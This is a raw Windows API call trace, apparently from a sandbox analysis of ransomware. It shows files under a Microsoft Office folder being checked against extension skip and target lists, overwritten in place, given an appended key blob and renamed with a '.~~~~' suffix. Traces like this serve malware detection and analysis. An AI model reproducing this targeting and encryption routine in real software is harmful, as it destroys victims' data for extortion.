	[0143.549] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0143.549] GetLastError () returned 0x0
	[0143.549] GetLastError () returned 0x0
	[0143.550] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0143.550] GetLastError () returned 0x0
	[0143.550] GetLastError () returned 0x0
	[0143.550] ReadFile (in: hFile=0x10c, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x8edb, lpOverlapped=0x0) returned 1
	[0143.628] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffff7125, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.628] WriteFile (in: hFile=0x10c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x8edb, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x8edb, lpOverlapped=0x0) returned 1
	[0143.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0143.628] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.628] WriteFile (in: hFile=0x10c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.628] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.628] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.629] CloseHandle (hObject=0x10c) returned 1
	[0143.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab6a8
	[0143.629] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4f.gif.~~~~")) returned 1
	[0143.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab6a8 | out: hHeap=0x300000) returned 1
	[0143.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0143.747] GetLastError () returned 0x0
	[0143.747] RtlWakeConditionVariable () returned 0x0
	[0143.747] GetCurrentThreadId () returned 0x3a4
	[0143.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".scr") returned 0x0
	[0143.747] lstrlenW (lpString=".cmd") returned 4
	[0143.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".cmd") returned 0x0
	[0143.747] lstrlenW (lpString=".dll") returned 4
	[0143.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".dll") returned 0x0
	[0143.748] lstrlenW (lpString=".bat") returned 4
	[0143.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".bat") returned 0x0
	[0143.748] lstrlenW (lpString=".cpl") returned 4
	[0143.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".cpl") returned 0x0
	[0143.748] lstrlenW (lpString=".sys") returned 4
	[0143.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".sys") returned 0x0
	[0143.748] lstrlenW (lpString=".msc") returned 4
	[0143.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".msc") returned 0x0
	[0143.748] lstrlenW (lpString=".com") returned 4
	[0143.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".com") returned 0x0
	[0143.748] lstrlenW (lpString=".lnk") returned 4
	[0143.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".lnk") returned 0x0
	[0143.748] lstrlenW (lpString=".msp") returned 4
	[0143.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".msp") returned 0x0
	[0143.748] lstrlenW (lpString=".pif") returned 4
	[0143.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".pif") returned 0x0
	[0143.748] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0143.833] lstrlenW (lpString=".sqb") returned 4
	[0143.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".sqb") returned 0x0
	[0143.833] lstrlenW (lpString=".ost") returned 4
	[0143.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".ost") returned 0x0
	[0143.833] lstrlenW (lpString=".txt") returned 4
	[0143.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".txt") returned 0x0
	[0143.833] lstrlenW (lpString=".mdt") returned 4
	[0143.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".mdt") returned 0x0
	[0143.833] lstrlenW (lpString=".BDB") returned 4
	[0143.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".BDB") returned 0x0
	[0143.833] lstrlenW (lpString=".eql") returned 4
	[0143.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".eql") returned 0x0
	[0143.833] lstrlenW (lpString=".DBF") returned 4
	[0143.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".DBF") returned 0x0
	[0143.833] lstrlenW (lpString=".EQL") returned 4
	[0143.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".EQL") returned 0x0
	[0143.833] lstrlenW (lpString=".FDB") returned 4
	[0143.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".FDB") returned 0x0
	[0143.833] lstrlenW (lpString=".EDB") returned 4
	[0143.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".EDB") returned 0x0
	[0143.833] lstrlenW (lpString=".DACPAC") returned 7
	[0143.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.834] lstrlenW (lpString=".VHD") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".VHD") returned 0x0
	[0143.834] lstrlenW (lpString=".DBV") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".DBV") returned 0x0
	[0143.834] lstrlenW (lpString=".dacpac") returned 7
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.834] lstrlenW (lpString=".sdf") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".sdf") returned 0x0
	[0143.834] lstrlenW (lpString=".accdb") returned 6
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".accdb") returned 0x0
	[0143.834] lstrlenW (lpString=".DBX") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".DBX") returned 0x0
	[0143.834] lstrlenW (lpString=".MDT") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".MDT") returned 0x0
	[0143.834] lstrlenW (lpString=".SQB") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".SQB") returned 0x0
	[0143.834] lstrlenW (lpString=".vhd") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".vhd") returned 0x0
	[0143.834] lstrlenW (lpString=".bac") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".bac") returned 0x0
	[0143.834] lstrlenW (lpString=".mdf") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".mdf") returned 0x0
	[0143.834] lstrlenW (lpString=".BAK") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".BAK") returned 0x0
	[0143.834] lstrlenW (lpString=".BAC") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".BAC") returned 0x0
	[0143.834] lstrlenW (lpString=".dbs") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".dbs") returned 0x0
	[0143.834] lstrlenW (lpString=".vhdx") returned 5
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.834] lstrlenW (lpString=".NDF") returned 4
	[0143.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".NDF") returned 0x0
	[0143.835] lstrlenW (lpString=".dat") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".dat") returned 0x0
	[0143.835] lstrlenW (lpString=".DBS") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".DBS") returned 0x0
	[0143.835] lstrlenW (lpString=".CKP") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".CKP") returned 0x0
	[0143.835] lstrlenW (lpString=".edb") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".edb") returned 0x0
	[0143.835] lstrlenW (lpString=".PST") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".PST") returned 0x0
	[0143.835] lstrlenW (lpString=".dbf") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".dbf") returned 0x0
	[0143.835] lstrlenW (lpString=".SQL") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".SQL") returned 0x0
	[0143.835] lstrlenW (lpString=".pst") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".pst") returned 0x0
	[0143.835] lstrlenW (lpString=".dbv") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".dbv") returned 0x0
	[0143.835] lstrlenW (lpString=".SDF") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".SDF") returned 0x0
	[0143.835] lstrlenW (lpString=".dtxs") returned 5
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.835] lstrlenW (lpString=".db3") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".db3") returned 0x0
	[0143.835] lstrlenW (lpString=".OST") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".OST") returned 0x0
	[0143.835] lstrlenW (lpString=".dbx") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".dbx") returned 0x0
	[0143.835] lstrlenW (lpString=".DB3") returned 4
	[0143.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".DB3") returned 0x0
	[0143.836] lstrlenW (lpString=".DAT") returned 4
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".DAT") returned 0x0
	[0143.836] lstrlenW (lpString=".VHDX") returned 5
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.836] lstrlenW (lpString=".ndf") returned 4
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".ndf") returned 0x0
	[0143.836] lstrlenW (lpString=".DB") returned 3
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".DB") returned 0x0
	[0143.836] lstrlenW (lpString=".sql") returned 4
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".sql") returned 0x0
	[0143.836] lstrlenW (lpString=".MYD") returned 4
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".MYD") returned 0x0
	[0143.836] lstrlenW (lpString=".DBT") returned 4
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".DBT") returned 0x0
	[0143.836] lstrlenW (lpString=".ACCDB") returned 6
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.836] lstrlenW (lpString=".fdb") returned 4
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".fdb") returned 0x0
	[0143.836] lstrlenW (lpString=".bak") returned 4
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".bak") returned 0x0
	[0143.836] lstrlenW (lpString=".myd") returned 4
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".myd") returned 0x0
	[0143.836] lstrlenW (lpString=".DTXS") returned 5
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.836] lstrlenW (lpString=".ckp") returned 4
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".ckp") returned 0x0
	[0143.836] lstrlenW (lpString=".dbt") returned 4
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".dbt") returned 0x0
	[0143.836] lstrlenW (lpString=".db") returned 3
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".db") returned 0x0
	[0143.836] lstrlenW (lpString=".TXT") returned 4
	[0143.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".TXT") returned 0x0
	[0143.836] lstrlenW (lpString=".MDF") returned 4
	[0143.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".MDF") returned 0x0
	[0143.837] lstrlenW (lpString=".bdb") returned 4
	[0143.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".bdb") returned 0x0
	[0143.837] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0143.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.837] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0143.838] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.838] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0143.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0143.838] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26382801465) returned 1
	[0143.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbf22e070, dwHighDateTime=0x1d60e1e)) 
	[0143.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0143.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0143.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0143.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd310
	[0143.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd310 | out: hHeap=0x300000) returned 1
	[0143.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac1d0
	[0143.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac1d0 | out: hHeap=0x300000) returned 1
	[0143.839] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0143.839] GetLastError () returned 0x0
	[0143.839] GetLastError () returned 0x0
	[0143.839] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0143.839] GetLastError () returned 0x0
	[0143.839] GetLastError () returned 0x0
	[0143.839] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x1038, lpOverlapped=0x0) returned 1
	[0143.843] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffefc8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.843] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1038, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x1038, lpOverlapped=0x0) returned 1
	[0143.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0143.843] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.844] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.844] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.844] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.844] CloseHandle (hObject=0x138) returned 1
	[0143.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ac1d0
	[0143.844] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8b.gif.~~~~")) returned 1
	[0143.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac1d0 | out: hHeap=0x300000) returned 1
	[0143.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0143.847] GetLastError () returned 0x0
	[0143.847] RtlWakeConditionVariable () returned 0x0
	[0143.847] GetCurrentThreadId () returned 0x3a4
	[0143.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".scr") returned 0x0
	[0143.847] lstrlenW (lpString=".cmd") returned 4
	[0143.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".cmd") returned 0x0
	[0143.847] lstrlenW (lpString=".dll") returned 4
	[0143.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL", lpSrch=".dll") returned 0x0
	[0143.847] lstrlenW (lpString=".bat") returned 4
